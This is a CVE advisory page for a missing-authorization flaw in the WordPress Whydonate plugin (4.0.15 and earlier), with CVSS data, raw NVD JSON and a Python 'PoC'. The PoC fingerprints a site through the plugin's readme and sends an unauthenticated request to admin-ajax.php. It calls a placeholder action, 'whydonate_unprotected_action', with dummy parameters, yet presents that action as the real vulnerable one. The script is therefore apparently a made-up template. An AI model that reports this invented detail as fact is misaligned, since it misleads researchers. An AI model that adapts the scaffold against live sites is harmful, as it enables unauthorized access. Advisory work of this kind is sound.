Security Vulnerability Report
中文
CVE-2025-49899 CVSS 5.3 MEDIUM

CVE-2025-49899

Published: 2025-10-22 15:15:36
Last Modified: 2026-04-27 20:16:15

Description

Missing Authorization vulnerability in jjlemstra Whydonate wp-whydonate allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Whydonate: from n/a through <= 4.0.15.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Whydonate (wp-whydonate) <= 4.0.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49899 - Whydonate Plugin Broken Access Control PoC # Exploits missing authorization check in WordPress Whydonate plugin (<= 4.0.15) # Author: Security Researcher import requests # Target WordPress site URL with vulnerable Whydonate plugin TARGET_URL = "http://target-wordpress-site.com" # WordPress AJAX endpoint used for handling plugin actions AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def exploit_missing_authorization(): """ Exploit the missing authorization vulnerability in Whydonate plugin. The vulnerable endpoint lacks proper ACL checks, allowing unauthenticated access to functionality that should be restricted. """ # Step 1: Verify the target is running the vulnerable plugin plugin_check_url = f"{TARGET_URL}/wp-content/plugins/wp-whydonate/readme.txt" response = requests.get(plugin_check_url, timeout=10) if response.status_code == 200 and "Whydonate" in response.text: print("[+] Target is running Whydonate plugin - proceeding with exploit") else: print("[-] Target may not be running the vulnerable plugin") return # Step 2: Craft the malicious request to trigger the unprotected functionality # The action parameter corresponds to the vulnerable AJAX handler payload = { "action": "whydonate_unprotected_action", # Vulnerable action name "nonce": "", # No nonce required due to missing authorization check # Additional parameters specific to the exploited functionality "param1": "value1", "param2": "value2" } # Step 3: Send the unauthenticated request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } response = requests.post(AJAX_ENDPOINT, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Exploit successful - Server response: {response.text[:200]}") else: print(f"[-] Exploit failed - Status code: {response.status_code}") if __name__ == "__main__": exploit_missing_authorization()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49899", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:36.110", "lastModified": "2026-04-27T20:16:15.427", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in jjlemstra Whydonate wp-whydonate allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Whydonate: from n/a through <= 4.0.15."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-whydonate/vulnerability/wordpress-whydonate-plugin-4-0-15-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}